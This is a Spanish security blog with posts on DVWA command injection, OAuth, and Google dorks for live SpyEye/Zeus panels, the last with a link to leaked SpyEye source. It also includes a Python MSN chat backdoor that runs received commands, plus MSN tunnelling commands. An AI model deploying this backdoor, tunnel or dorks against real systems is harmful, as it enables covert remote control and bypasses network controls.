27 de agosto de 2011

DVWA - Ejecución de Comandos (I)


Desde que me dedico a esto, siempre he estado leyendo en uno y otro sitio cómo hacer diferentes cosas, tipos de ataques, y configuraciones. Salvo contadas ocasiones, en la mayoría de ellos se limitaban a decir cual era el tipo de vulnerabilidad, pero no contaban cómo se explotaba, y en los pocos que contaban cómo hacerlo, montar el laboratorio para ello no era moco de pavo.

Pues bien, hemos decidido hacer algo diferente, aprovechando las muchas fuentes y posibilidades que nos ofrece la red. Combinadas algunas de ellas, nos podemos montar un entorno de pruebas rápido y (no)fiable, sin tener que instalar millones de cosas, que no todos dominamos, ni configuraciones casi imposibles de reproducir.

Hablando con mis colegas, hemos pensado de usar un entorno como el DVWA, que ya lo tiene todo montado. Ir resolviendo las diferentes pruebas en sus diferentes niveles (siempre y cuando ello sea posible), y la parte que consideramos más interesante. Que hacer con ello una vez que la vulnerabilidad sea explotada. Lógicamente no vamos a contemplar el montón de posibilidades que existen, pero si algunas de ellas, y cómo se desarrollaría en la práctica.

Lo primero, descargar el DVWA e instalarlo. Es en modo livecd, así que si tienes un sistema por ahí que tengas tonteando, lo metes, arrancas el livecd y tirando millas. En caso contrario, te lo montas en una máquina virtual y funciona perfectamente igual.

Te lo puedes descargar de aquí: http://www.dvwa.co.uk/DVWA-1.0.7.iso

Empezaremos con la prueba de “Command execution” en el nivel básico. Podéis observar una captura de cómo quedaría una vez arrancado y accedido a la aplicación:


Necesitaremos en la máquina que vamos a emplear para realizar las pruebas un Proxy. Yo he usado Burp proxy, pero podéis usar el que os plazca. Burp proxy lo podéis descargar de aquí: http://portswigger.net/burp/download.html.

He usado éste por su sencillez de uso y de instalación. Sin embargo, hoy día hay otros con distintas posibilidades como el proxyStrike o el ZAP Proxy.

Realicemos la primera petición y analicemos qué es lo que pasa. Para ello tendríamos que emplear una dirección IP tal y como nos piden y ver el resultado obtenido.


Nada nuevo bajo el sol. Le introducimos una dirección IP, le hacemos un ping y devuelve un resultado.

¿Qué pasaría si introdujéramos algo que no fuera una dirección IP? Veámoslo.


Parece que no ocurre nada.

Ahora vamos a contar con el proxy que os comentábamos anteriormente. En la primera captura, en el caso en el cual obteníamos un resultado, el proxy mostraba esto como peticiones:


Es posible observar en el recuadro rojo lo que parece nuestra petición. Una dirección IP, que es la que nosotros introdujimos en su correspondiente recuadro, seguido de otro parámetro.

Probemos ahora a introducir otros parámetros. El resultado obtenido, sería lo que vemos a continuación:



El resultado obtenido parece el previsto. Nada. Si no introducimos una dirección IP a la que realizarle un ping no obtenemos resultado alguno.

Sin embargo, observad el resultado que arroja el proxy (“IP=192.168.0.1+tururu”). Le añade el tururu al final de la dirección IP? Y si le añadiéramos otra cosa tal como haríamos si tuviéramos una línea de comando, una consola?



Observad. ¡Tenemos resultados!. Podemos listar por ejemplo los ficheros y directorios. En la captura del proxy podemos ver que lo que hace es añadir los parámetros uno tras otro.

Aunque todo esto se podría haber realizado sin un proxy, sólo a base de realizar peticiones. Ahora veis la importancia de poder realizar un análisis más pormenorizado de lo que está ocurriendo por debajo, y de poderlo hacer sobre la marcha. Es para esto que usamos habitualmente proxies, con los que podemos observar el tráfico HTTP de lo que estamos haciendo.

No sólo esto, podemos además parar el proceso normal de las peticiones, de forma que podríamos modificarlas con él y enviar lo que necesitáramos en cada momento.

20 de agosto de 2011

Nueva versión beta de "googler"

Todo cambia con el paso del tiempo y tanto Google como Bing lo han hecho desde que publicamos la primera versión beta de "googler".

Los cambios que habían realizado en sus páginas de resultados había hecho que googler no mostrara los resultados de Bing ni la descripción de los resultados de Google.

Por ello he actualizado esta extensión de Chrome para que siga funcionando y muestre todos los resultados de ambos motores de búsqueda.

Todavía es una versión beta, debido a que Google pide un captcha tras varias consultas. Estoy trabajando en ello y cuando lo tenga resuelto publicaremos la primera versión ¿estable?. También prometo subirla a los repositorios de Chrome para que las actualizaciones sean automáticas y no haya que desinstalar la versión anterior e instalar la nueva.

Hasta entonces os dejo el enlace desde donde podéis descargar la nueva versión:
https://googler-extension.googlecode.com/files/googler_v0.2.crx

Os recuerdo que podéis seguir la evolución del proyecto en :
https://code.google.com/p/googler-extension/

Y os animo a sugerir funcionalidades y mejoras que os gustaría que incluyera en la próxima versión, además de comunicarme los posibles bugs que hayáis detectado:
https://code.google.com/p/googler-extension/issues/list

¡¡Hasta la próxima entrada!!

17 de agosto de 2011

Localizando portales de administración "ocultos" con Google

Aprovechando que se ha filtrado el código fuente de la versión 1.3.45 de SpyEye, voy a escribir una breve entrada sobre cómo aprovechar los buscadores para localizar portales de administración de este tipo de malware.

SpyEye suele tener dos portales de administración con títulos "CN 1" y "SYN 1". De este modo, si utilizamos googler (o directamente Google / Bing...) con las siguientes consultas:

"please, enter password" +intitle:"cn 1"
"please, enter password" +intitle:"syn 1"
"please, enter password" +intitle:"sn 1"

vemos que aparecen algunos resultados:


Aunque no todos ellos siguen activos, sí que se pueden encontrar algunos que todavía están en funcionamiento:


Podemos hacer lo mismo para tratar de buscar portales de otros tipos de virus, como por ejemplo el algo más antiguo Zeus:

intitle:login "User name:" "Remember" "MD5 cookies"


Esto ha sido todo de momento... Y por cierto, el código fuente de SpyEye se puede descargar desde aquí:

http://megaupper.com/files/1SUIVJTF/SpyEye%201.3.45%20Loader.rar


16 de agosto de 2011

(Ab)Usando del protocolo MSN (y II)

Buscando por esos lugares he encontrado algo, desde mi punto de vista, bastante interesante: cómo (ab)usar del protocolo MSN un poco más a fondo que en la entrada anterior.

El programilla del que os estoy hablando es msntunnel y lo podéis encontrar aquí:

http://www.flu-project.com/msntunnel-tuneliza-conexiones-tcp-usando-msn-messenger.html

Una explicación visual servirá más que todo el rollo que os pueda largar.

Usamos dos cuentas de MSN, tal y como teníamos en el post anterior sobre el (ab)uso de Hotmail. Nos conectamos con cada cuenta y con el programa en dos sistemas distintos, de forma que podamos conectar ambas máquinas entre ellas a través del servidor de MSN.


La idea es enlazar uno de los puertos de uno de los hosts con el otro, de forma que al conectarnos a él, podamos controlar el segundo. Las pruebas, para que se vea hasta qué punto se puede llegar las he realizado con un escritorio remoto, pero perfectamente se
puede realizar un telnet, un ssh o cualquier otra conexión.

La conexión a un lado tendría que realizarse de la siguiente forma:

python msntunnel.py -u cuenta2@hotmail.es -p pass2 -r cuenta1@hotmail.es -L 3389

En el otro habría que poner lo siguiente:

python msntunnel.py -u cuenta1@hotmail.es -p pass2 -r cuenta2@hotmail.es -R 127.0.0.1 -P 3389

Un par de capturas para que se vea como quedarían las conexiones:


En el segundo sistema ejecutamos el comando en cuestión y nos aparecería esto:


Al mismo tiempo, en este segundo sistema, como prueba de que esto funciona, podríamos conectarnos al puerto 3389 con tsclient (rdesktop) a localhost, que enlazaría al rdesktop del Windows:


Hay que avisar que no es especialmente rápido, no obstante, no está diseñado para esto. Sin embargo, otros protocolos más ligeros como telnet o cualquiera en línea de comando funcionarían perfectamente.

Existen algunas librerías que os harán la vida un poco más fácil:
http://blitiri.com.ar/p/msnlib/
http://telepathy.freedesktop.org/wiki/Pymsn
http://www.msncp.com.ar/

“Cualquier parecido con la realidad, es verdad (que se lo pregunten al que programó esto)”

8 de agosto de 2011

El protocolo de autenticación OAuth. Flujo de Autenticación (III)


Una vez que conocemos los actores que intervienen en la autenticación por OAuth, veamos cómo se lleva a cabo.

Cuando queremos desarrollar una aplicación (un cliente) para un servicio (twitter para continuar con nuestro ejemplo de la entrada anterior), lo primero que hay que hacer es registrar la que será nuestra aplicación. En ese momento, twitter nos dará un par de credenciales de cliente (o lo que es lo mismo, el consumer key y el consumer secret) con las que nuestra aplicación deberá firmar todas las peticiones que realice a los servidores de twitter.

Veamos el flujo completo en el siguiente diagrama. Las flechas de color rojo se corresponden con las peticiones que realiza el cliente a twitter. Las verdes son respuestas de twitter al cliente. La flecha de color azul se corresponde con el proceso que realiza el usuario a mano:

Flujo OAuth.

Cuando un usuario quiera utilizar nuestro cliente, lo primero que tendrá que hacer éste último es solicitar a twitter unas credenciales temporales (request token y request secret). Este proceso se corresponde con los pasos 1 y 2 del diagrama.

A continuación, nuestro cliente redirigirá al usuario a la Web de twitter (paso 3) indicando el request token que se nos ha facilitado. El usuario inicia sesión en twitter, que le preguntará si autoriza a nuestra aplicación a acceder a sus recursos (paso 4).

Suponiendo que el cliente autorice la aplicación, twitter redirigirá de vuelta al usuario a nuestro cliente si éste se tratara de una aplicación Web (paso 5). En esta petición se indicará un PIN denominado oauth_verifier que será utilizado más adelante.

Para que la redirección sea posible, cuando se solicitan las credenciales temporales en el paso 1, también se indica la URL a la que queremos que twitter redirija al usuario.

En el caso de que nuestro cliente sea una aplicación de escritorio, de teléfono móvil, etc. (en general cualquiera a la que no se pueda realizar la redirección) se sustituye la URL de callback por el valor "oob" (out-of-band). Esto indicará a twitter que basta con que comunique al usuario el oauth_verifier para que sea éste quien lo introduzca directamente en el cliente.

Una vez que el cliente conoce el oauth_verifier, lo envía de vuelta a twitter para solicitar el token de usuario. El servidor responderá a esta petición con el access token y access secret (pasos 6 y 7), lo que finaliza la autenticación por OAuth.

Todas las peticiones que el cliente realice a partir de ese momento, irán firmadas por una combinación del consumer secret y el access secret. De este modo, se identifica en todo momento al usuario y el cliente desde el que se realiza la petición y, de este modo, twitter puede determinar a qué información puede tener acceso y a cuál no.

El flujo descrito es el proceso de autenticación habitual a través de OAuth pero no es el único. Éste se conoce como 3-legged porque en él intervienen los tres actores habituales. Otro flujo que se suele utilizar es el llamado 2-legged en el que el usuario no interviene (sólo hay que autenticar a la aplicación) debido a que no se accede a sus recursos.

¡Hasta la próxima entrada!

3 de agosto de 2011

(Ab)Usando del protocolo MSN

En cierta ocasión, después de realizar el trabajo que se nos encomendó nos propusieron algo que estaba claro que andaban dándole vueltas por las caras que llevaban. ¿Sería posible que alguno de nuestros empleados pudiera acceder a su ordenador y por consiguiente a la red desde fuera de la oficina?

Así pues, con los datos que ya llevábamos, nos fuimos a la oficina a estudiar si eso sería posible o no. Al no conseguir datos que dijeran que eso fuera posible, nos fuimos a las oficinas del cliente a seguir investigando si eso sería posible.

Mi compañero, que es un monstruo dio con la clave, más o menos. En realidad no fue como en las películas, una casualidad. Como en muchas empresas entonces, se capaban mogollón de cosas, pero seguía permtiéndose usar el msn, o el gmail o cualquier otra movida.

Usamos el MSN para controlar su sistema desde fuera.

En su momento estudiamos un poco el protocolo y lo reprodujimos. No tengo ni idea de donde esta aquello ahora, así que lo he reproducido con lo que tenemos a mano hoy en día. Bastante más fácil por cierto.

Para programar el cliente remoto hemos usado la librería msnp.py, que podéis encontrar aquí. Os pongo las modificaciones que hemos realizado:

import msnp
import time
import os
import re
import sys

if len(sys.argv)<2:
print "Introduce con quien comunicar"
sys.exit()

dest_user = sys.argv[1]

class MsnChatListener(msnp.ChatCallbacks):
def message_received(self, passport_id, display_name, text, charset):

if dest_user == passport_id:
print '%s: %s' % (passport_id, text)
if re.match("execute: ",text):
comando = str(text.split("execute: ")[-1])
comando_execute = os.popen(comando).readlines()
if len(comando_execute)>0:
for bucle in comando_execute:
self.chat.send_message(bucle.split('\n')[0], charset)
self.chat.send_message("------ COMANDO EJECUTADO ------", charset)
else:
self.chat.send_message('"'+comando+'"'+' no se reconoce como un comando interno o externo,', charset)
self.chat.send_message('programa o archivo por lotes ejecutable.', charset)

class MsnListener(msnp.SessionCallbacks):
def chat_started(self, chat):
callbacks = MsnChatListener()
chat.callbacks = callbacks
callbacks.chat = chat

msn = msnp.Session(MsnListener())
msn.login('correo@hotmail.es', 'password')

while True:
msn.process(chats = True)
time.sleep(1)
El protocolo es antiguo, pero para demostrar la viabilidad es perfectamente usable.

A continuación muestro una captura de lo que ocurre al lanzarlo:


Es necesario poseer dos cuentas. La primera de ellas se usará para el programa, para poder conectar con ella. La segunda es la cuenta desde la cual conectaremos. Yo he usado dos cuentas mías directamente.

Al lanzar el programa es necesario indicarle desde que otra cuenta se va a hablar con él. Esto es necesario por motivos evidentes. Cualquiera que se agregara esta cuenta podría lanzar comandos, nada más descubriera como hacerlo, lo cual también es modificable para que sólo devuelva los datos adecuados en caso que se lo digamos nosotros, no cualquier otro.

A continuación adjunto una pantalla de la ventana del messenger interactuando con el cliente instalado en la máquina destino.


Para poder lanzar comandos sólo hay que añadir delante el comando “execute:".

Si bien no es una vulnerabilidad, es algo que muchos administradores deben de tener en cuenta. Aún hoy en día existen bastantes redes empresariales en las cuales está permitido usar clientes de mensajería, y la mayoría de las veces no es porque los responsables de la red no quieran evitarlo.

Enlaces que deberías visitar si estás interesado en este protocolo:
http://msnpiki.msnfanatic.com/index.php/Main_Page
http://msnp.sourceforge.net/tutorial.html
http://es.wikipedia.org/wiki/Microsoft_Notification_Protocol
http://www.hypothetic.org/docs/msn/

“Cualquier parecido con la realidad es mera coincidencia”


1 de agosto de 2011

El protocolo de autenticación OAuth. Conceptos (II)

Cuando se lee documentación sobre OAuth se ven una serie de conceptos que, aunque sencillos, en algunos casos pueden llevar a confusiones debido a que la terminología se modificó en algún punto del desarrollo. De esta manera, hay documentos que utilizan la terminología "antigua" mientras que la RFC oficial y la mayor parte de documentos recientes utilizan los términos actuales.

twitter es un servicio que utiliza OAuth para llevar a cabo la autenticación de usuarios desde aplicaciones de terceros, ya sean Web, de escritorio o para dispositivos móviles. Por este motivo, voy a utilizar twitter como ejemplo para identificar cada uno de los términos que paso a describir:

Servidor /server/ (inicialmente llamado Service Provider)
Es quien proporciona el servicio; es decir, allí donde nos estamos intentando autenticar para acceder a sus funcionalidades. En nuestro caso serían los propios servidores de twitter.

Cliente /client/ (antes llamado Consumer)
Es la entidad desde la que se lleva a cabo la autenticación. Cualquier cliente de escritorio, extensión de navegador, cliente para dispositivos móviles... que trabaje con twitter se considera un cliente. Por tanto, se puede decir que es la "aplicación de terceros" desde la que intentaríamos acceder a nuestra información en twitter.

Dueño o Propietario del recurso /Resource Owner/ (antes llamado User)
Como el propio nombre indica, es el propietario del recurso al que se quiere acceder. En nuestro ejemplo seríamos los usuarios finales de twitter.

De esta última definición se puede deducir un nuevo concepto: Recurso protegido /Protected resource/ que sería el recurso (información, funcionalidad...) ubicado en el Servidor al que estamos intentando acceder y que pertenecería a su Propietario.

Por otro lado, se suele diferenciar entre tres tipos de credenciales: cliente, temporales y token. Todas ellas se están formadas por un identificador único y por un secreto (algo parecido al típico usuario/contraseña, aunque no es del todo igual).

Como sucedía con los conceptos anteriores, en alguna documentación se puede encontrar otros nombres para cada par de los anteriores credenciales. De este modo tendríamos consumer key y secret (cliente), request token y secret (temporales) y access token y secret (o incluso user token y secret para el token).

Las credenciales de cliente se utilizan para que el servidor pueda identificar a un cliente determinado. De este modo, el servidor sabe en todo momento qué tipo de cliente está accediendo y podría dar funcionalidades extra a clientes de confianza o con ciertos privilegios. En el caso de twitter, ésta avisó de que toda aplicación que publicara sus credenciales clientes sería deshabilitada (lo siento pero no encuentro la noticia).

Las temporales se utilizan durante el proceso de autenticación de un usuario final (dueño del recurso) y, como su propio nombre indica, su validez es temporal mientras se acuerda el token que será utilizado durante la sesión.

El token sería el equivalente a un identificador de sesión en una aplicación Web estándar y se utiliza para identificar tanto al cliente como al usuario que accede a sus recursos.

Creo que por hoy ya está bien. En la próxima entrada explicaré cómo se obtienen cada una de estas credenciales y cómo interactúan las partes implicadas.

¡Hasta la próxima!